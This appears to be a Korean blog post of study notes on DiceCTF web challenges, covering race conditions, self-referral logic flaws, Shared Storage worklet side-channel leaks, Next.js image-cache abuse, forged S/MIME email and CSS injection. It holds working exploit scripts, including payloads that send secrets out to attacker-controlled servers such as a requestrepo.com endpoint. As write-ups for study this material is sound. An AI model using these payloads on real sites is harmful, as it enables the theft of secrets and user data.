dicectf-web-공부

남행이 2025. 4. 8. 15:30

cookie-recipes-v3

bake시에 배열값을 number에 넣을경우 length조건을 우회하고 Number함수과정에서 배열을 문자열로 바꾸고 이를 숫자로 바꾸기에 cookie의 값이 오르게 되어 flag를 획득할수있게된다.

pyramid

req.on부분을 비동기처리로 해당 패킷이 완료되기전에 token이 발급되는점을 이용해 비동기처리를 늘어트리고(HTTP 헤더만 전송 body 데이터는 일부로 보내지않고 end가 안되게유지시키고 recv를 통해 토큰만받아서 이용하면된다)

) 받은 토큰을 이용해 추천인 코드를 발급받아 추천인코드에 유저체크는 없기에 자기자신을 계속해서 추천하면된다.(추천인과 정산버튼의 로직상 자기자신을 추천할경우를 고려안했기에 값이 기하급수적으로증가한다.)

web-nobin

먼저 message를 sharedStorage에 저장한다.

이는 report기능으로 신고시 bot이 flag에 접근할수있는 secret키를 sharedstorage에 저장하고 내가 신고한 url에 접근하게 된다.

app.get("/flag", (req, res) => res.send(req.query.secret === secret ? FLAG : "No flag for you!"));
app.get("/xss", (req, res) => res.send(req.query.xss ?? "Hello, world!"));

다음처럼 되어있으므로 xss페이지에서 xss를 일으켜 sharedstorage의 값을 빼내면 된다.

 

https://github.com/WICG/shared-storage/issues/86

 

Leaking more than log_2(|URLs|) bits of data with the selectURL gate · Issue #86 · WICG/shared-storage

You can delay when the selectURL gate makes a request by delaying when the run function registered in the worklet returns. By doing this you can pass information to a server based on how quickly it...

github.com

이문제는 다음과 같은 아이디어를 이용해 풀었다. (이기능 자체는 사용자의 개인정보를 수집해 맞춤형 광고기능처럼 사용자가 접속한 내역이나 데이터를 sharedstorage에 저장하고 이미봤던광고를 안보게 한다던지 자주보이게 한다던지 적절한 worklet의 결과에따라 url을 선택하게 만들어 사용자에게 광고로 표시될때 사용되는것같다. 그렇기에 이기능자체는 https에서만 작동이된다. 익스플로잇시 https서버의 url을 만들어야할것이다. burp의 collaborator나 ngork을 활용하면 편하다.)

const workletCode = `
class Processor {
    async run(urls, data) {
        const secret = await globalThis.sharedStorage.get("message");
        const position = Number(await globalThis.sharedStorage.get("position"))
        const operation = await globalThis.sharedStorage.get("operation");

        console.log(secret, position, operation, "01234567".includes(secret[position]) ? 0 : 1);
        if (operation === "a") {
            return "01234567".includes(secret[position]) ? 0 : 1;
        } else if (operation == "b") {
            if ("01234567".includes(secret[position])) {
                return "01234567".split('').indexOf(secret[position]);
            } else {
                return "89abcdef".split('').indexOf(secret[position]);
            }
        }

        throw new Error('no!!');
    }
}

register("get-secret", Processor);
`;

const workletBlob = new Blob([workletCode], { type: 'application/javascript' });
const workletUrl = URL.createObjectURL(workletBlob);

window.sharedStorage.worklet.addModule(workletUrl)
    .then(async () => {
        console.log('worklet registered');

        const host = `https://내서버`;
        const position = 0;
        await sharedStorage.set("position", position);

        await sharedStorage.set("operation", "a");
        const charset = await sharedStorage.selectURL('get-secret', [
            {url: `${host}/?position=${position}&charset=0`},
            {url: `${host}/?position=${position}&charset=1`},
        ], { resolveToConfig: true, keepAlive: true });
        f = document.createElement("fencedframe")
        f.config = charset
        document.body.appendChild(f);

        await new Promise(resolve => setTimeout(resolve, 1000));

        await sharedStorage.set("operation", "b");
        const config = await sharedStorage.selectURL('get-secret', [
            {url: `${host}/?position=${position}&index=0`},
            {url: `${host}/?position=${position}&index=1`},
            {url: `${host}/?position=${position}&index=2`},
            {url: `${host}/?position=${position}&index=3`},
            {url: `${host}/?position=${position}&index=4`},
            {url: `${host}/?position=${position}&index=5`},
            {url: `${host}/?position=${position}&index=6`},
            {url: `${host}/?position=${position}&index=7`},
        ], { resolveToConfig: true, keepAlive: true });
        f = document.createElement("fencedframe");
        f.config = config
        document.body.appendChild(f);
    })
    .catch(error => {
        console.log(error);
    });

다음은 익스플로잇 코드이다 하나하나 설명해보면

const workletCode = `
class Processor {
    async run(urls, data) {
        const secret = await globalThis.sharedStorage.get("message");
        const position = Number(await globalThis.sharedStorage.get("position"))
        const operation = await globalThis.sharedStorage.get("operation");

        console.log(secret, position, operation, "01234567".includes(secret[position]) ? 0 : 1);
        if (operation === "a") {
            return "01234567".includes(secret[position]) ? 0 : 1;
        } else if (operation == "b") {
            if ("01234567".includes(secret[position])) {
                return "01234567".split('').indexOf(secret[position]);
            } else {
                return "89abcdef".split('').indexOf(secret[position]);
            }
        }

        throw new Error('no!!');
    }
}

register("get-secret", Processor);
`;

먼저 worklet코드이다 나중에 동적으로 로드시키기 위해 문자열형태로 변수에 담고있다. 문제의 목적은 message의 값을 빼내는것이기에 secret란 변수에담고 어느부분에 속하는지, index는 몇인지 구하는것을 구분하기 위한 operation변수, 몇번째 index의 값을 찾을껀지 찾는 position이 있다.

 

sharedstorage의 값에 접근이 가능한건 worklet공간밖에 없기에 이를 만들어준것이고 a기능은 "01234567"에 문자가 포함되냐에 따라 0 or 1반환 b기능은 해당 문자의 index값을 리턴해준다.

register함수를 통해 selectURL로 접근할수있도록 저장해준다.

 

const workletBlob = new Blob([workletCode], { type: 'application/javascript' });
const workletUrl = URL.createObjectURL(workletBlob);

window.sharedStorage.worklet.addModule(workletUrl)
    .then(async () => {
        console.log('worklet registered');

        const host = `https:내서버`;
        const position = 0;
        await sharedStorage.set("position", position);

        await sharedStorage.set("operation", "a");
        const charset = await sharedStorage.selectURL('get-secret', [
            {url: `${host}/?position=${position}&charset=0`},
            {url: `${host}/?position=${position}&charset=1`},
        ], { resolveToConfig: true, keepAlive: true });
        f = document.createElement("fencedframe")
        f.config = charset
        document.body.appendChild(f);

        await new Promise(resolve => setTimeout(resolve, 1000));

        await sharedStorage.set("operation", "b");
        const config = await sharedStorage.selectURL('get-secret', [
            {url: `${host}/?position=${position}&index=0`},
            {url: `${host}/?position=${position}&index=1`},
            {url: `${host}/?position=${position}&index=2`},
            {url: `${host}/?position=${position}&index=3`},
            {url: `${host}/?position=${position}&index=4`},
            {url: `${host}/?position=${position}&index=5`},
            {url: `${host}/?position=${position}&index=6`},
            {url: `${host}/?position=${position}&index=7`},
        ], { resolveToConfig: true, keepAlive: true });
        f = document.createElement("fencedframe");
        f.config = config
        document.body.appendChild(f);
    })
    .catch(error => {
        console.log(error);
    });

worklet을 addmodule로 등록할때는 URL을 파라미터로 받기에 위에서 만들어준 문자열을 Blob으로 동적생성해 createObjectURL로 만든 Blob을 링크로 만들어준다. 이를 worklet에 등록하는 형태이고 이제 만든 worklet을 사용하는 부분이다. worklet에서 사용하는 변수는 selectURL을 호출하기전에 set을 통해 만들어준다(position,operation)

그러면 selectURL을 통해 worklet의 리턴값에 따라 URL을 반환해주게되는데(0리턴시 0번째url, 1리턴시 1번째 url)

a기능은 어느문자열에 포함되는지 0 or 1 리턴, b기능은 몇번째 index에 포함되는지 index를 리턴해주고 이는 URL로 만들어진다.

그럼 이기능 자체는 로컬에서 실행되는데 무슨의미가 있나?-> 선택된 URL을 가지고 내서버에 접속해서 파라미터를 통해 무슨데이터인지 알수있게 된다.

selectURL의 리턴값을 활용할수있는 fencedframe을 이용해 내서버에 로그를 남기게 된다. 예를들어 로그값이 charset=0,index=0일경우 문자가 0이고, charset=1, index=5일경우 d라는 문자를 뽑을수있게 된다.

 

082a4c6e란 값을 한번 뽑아보면

다음처럼 내서버에 있는 js파일을 script로 호출해서 하도록했고

다음 사진과같이 몇번째 포지션이 charset몇에 몇번째인지 로그가 남게되었다.

4번째는 charset1 index2이므로 a, 5번째는 charset0 index4이므로 4 ...반복이다. 이것을 이제 report를 통해 admin bot이 보게하면 xss가 발생해 서버의 secret값을 알아내고 flag를 획득할수있게된다.

 

old-site-b-side

관리자의 /api/me/badge에 flag가 담겨있는 형태로

/_next/image에서 사용자의 검증없이 URL값만보고 데이터를 전송해주는점을 이용해 report기능으로 관리자가 해당 경로에 들어가서 캐시를 생성한뒤에 내가 접근해 데이터를 빼내오면된다.
const REMOTE = "http://localhost:3000"
const CACHE_URL = `/_next/image?url=/api/me/badge&w=96&h=96&q=100`

const sleep = ms => new Promise(r => setTimeout(r, ms))

console.log(
  await (
    await fetch(`${REMOTE}/api/report`, {
      method: "POST",
      body: `HACKER+IP=${encodeURIComponent(`http://localhost:3000${CACHE_URL}`)}`,
      headers: [["Content-Type", "application/x-www-form-urlencoded"]]
    })
  ).text()
)

await sleep(6_000)

const gif = new TextDecoder("ascii", { fatal: false }).decode(
  await (
    await fetch(`${REMOTE}${CACHE_URL}`, {
        headers: [["Accept", "image/webp"]]
    })
  ).arrayBuffer()
)
console.log(gif.substring(gif.indexOf("dice{"), gif.length))

bad-chess-challenge

import smtplib
import tempfile
import os
import subprocess


HOST = "bad-chess-challenge.dicec.tf"
PORT = 1

def register(username):
    smtp = smtplib.SMTP_SSL(HOST, PORT,timeout=60)
    smtp.helo("chess")
    smtp.mail(username)
    smtp.rcpt("register@chess")

    msg = (
        f"To: register@chess\r\n"
        f"From: {username}\r\n"
        "Content-Type: text/plain\r\n\r\n"
        "\r\n"
    )

    code, resp = smtp.data(msg)
    smtp.quit()
    resp_str = resp.decode() if isinstance(resp, bytes) else resp
    return resp_str

def send_mail(signed_email, username, recipient):
    with smtplib.SMTP_SSL(HOST, PORT) as smtp:
        smtp.set_debuglevel(1)
        smtp.sendmail(username, recipient, signed_email)
    # return rt

import random
import sys
def get_mail(from_addr, to_addr, content, prev_email=None, filename="unsigned_email.eml", signed_file="signed_email.eml"):
    # Build the plain email body with required headers
    boundary = random.randint(0, sys.maxsize)
    if prev_email:
        email_body = (
            f"To: {to_addr}\r\n"
            f"From: {from_addr}\r\n"
            f'Content-Type: multipart/mixed; boundary="{boundary}"\r\n\r\n'
            f"--{boundary}\r\n"
            "Content-Type: text/plain\r\n\r\n"
            f"{content}\r\n"
            f"--{boundary}\r\n"
            "Content-Type: message/rfc822\r\n"
            "Content-Disposition: attachment; filename=\"previous\"\r\n\r\n"
            f"{prev_email}\r\n"
            f"--{boundary}--\r\n"
        )
    else:
        email_body = (
            f"To: {to_addr}\r\n"
            f"From: {from_addr}\r\n"
            "Content-Type: text/plain\r\n\r\n"
            f"{content}\r\n"
        )
        
    #with open(filename, "w") as f:
    #    f.write(email_body)

    content_file = tempfile.NamedTemporaryFile(delete=False)
    content_file.write(email_body.encode())
    content_file.close()
    
    cert_file = tempfile.NamedTemporaryFile(delete=False)
    cert_file.write(cert.encode())
    cert_file.close()
    
    key_file = tempfile.NamedTemporaryFile(delete=False)
    key_file.write(key.encode())
    key_file.close()
    
    signed_file = tempfile.NamedTemporaryFile(delete=False)
    signed_file.close()
    
    # Use OpenSSL to create a PKCS7 detached signature
    subprocess.run([
        'openssl', 'smime', '-sign',
        '-in', content_file.name,
        '-out', signed_file.name,
        '-signer', cert_file.name,
        '-inkey', key_file.name,
        '-outform', 'SMIME',
    ], check=True)

    with open(signed_file.name, 'r') as f:
        signed_email = f.read()
    
    os.unlink(content_file.name)
    os.unlink(cert_file.name)
    os.unlink(key_file.name)
    os.unlink(signed_file.name)

    signed_email = f"From: {from_addr}\r\nTo: {to_addr}\r\n" + signed_email
    print(signed_email)
    
    return signed_email



if __name__ == "__main__":
    username = "gudguddsdf@chess"
    recipient = "admin@chess"
    

    resp_str = register(username)
    key, cert = resp_str.split("\n\n", 1)
    with open("user.key", "w") as f:
        f.write(key)
    with open("user.cert", "w") as f:
        f.write(cert)
    
    result = get_mail("admin@chess", recipient, "e3")
    result = get_mail("admin@chess", recipient, "f5", result)
    result = get_mail("admin@chess", recipient, "f4", result)
    result = get_mail("admin@chess", recipient, "g5", result)
    result = get_mail(username, recipient, "Qh5#", result)

    #save the result
    with open("signed_email.eml", "w") as f:
        f.write(result)
    send_mail(result, username, recipient)

admin을 통해서만 플레이가능, register를 통해 유저등록가능

openssl cms -verify 의 경우 보낸사람의 검증을 하지않고 서명자의 서명값만 확인하기에 admin이 admin한태 보내게 하여 체크메이트의 수를 놓으면된다.

사실상 openssl cms에 호환되게 코드를짜면된다.

 

safenote

Dompurify를 통해 XSS를 필터링하지만 Style은 필터링x 이므로 css injection 시도

브라우저 세션 히스토리를 이용해 뒤로가기 버튼을 눌러도 form상에 데이터가 남아있는걸 이용해 flag추출 시도

브라우저상에 bfcache가 있으므로(js 실행x 및 관리자가 이전에 입력한 데이터가 남아있음) 지우기 위해 경로 0~6을 추가해 bfcache를 덮어버림(최대갯수 7페이지)

이상태에서 input의 pattern을 이용해 정규식을 이용해 이진탐색으로 데이터 추출진행

데이터를 찾았으면 다시 flag값을 로드시키기 위해 -8로 이동

 

<script>
  let i = +location.search.slice(1) || 0;
  if (i < 6) {
    setTimeout(() => {
      location = location.pathname + '?' + (++i);
    }, 200);
  } else {
    window.open(`https://safestnote.dicec.tf/?note=
      <form method=get>
        <input name=note type=text pattern=^dice.i_gu3ss_1t_w4sn7_[abcdefghijklmnopqrst].* />
      </form>
      <style>
        input:valid {background:url(//fd0x8l1e.requestrepo.com/1);}
        input:invalid {background:url(//fd0x8l1e.requestrepo.com/0);}
      </style>
    `.replace(/\n/g, ''));
    setTimeout(() => {
      history.go(-8);
    }, 1000);
  }
</script>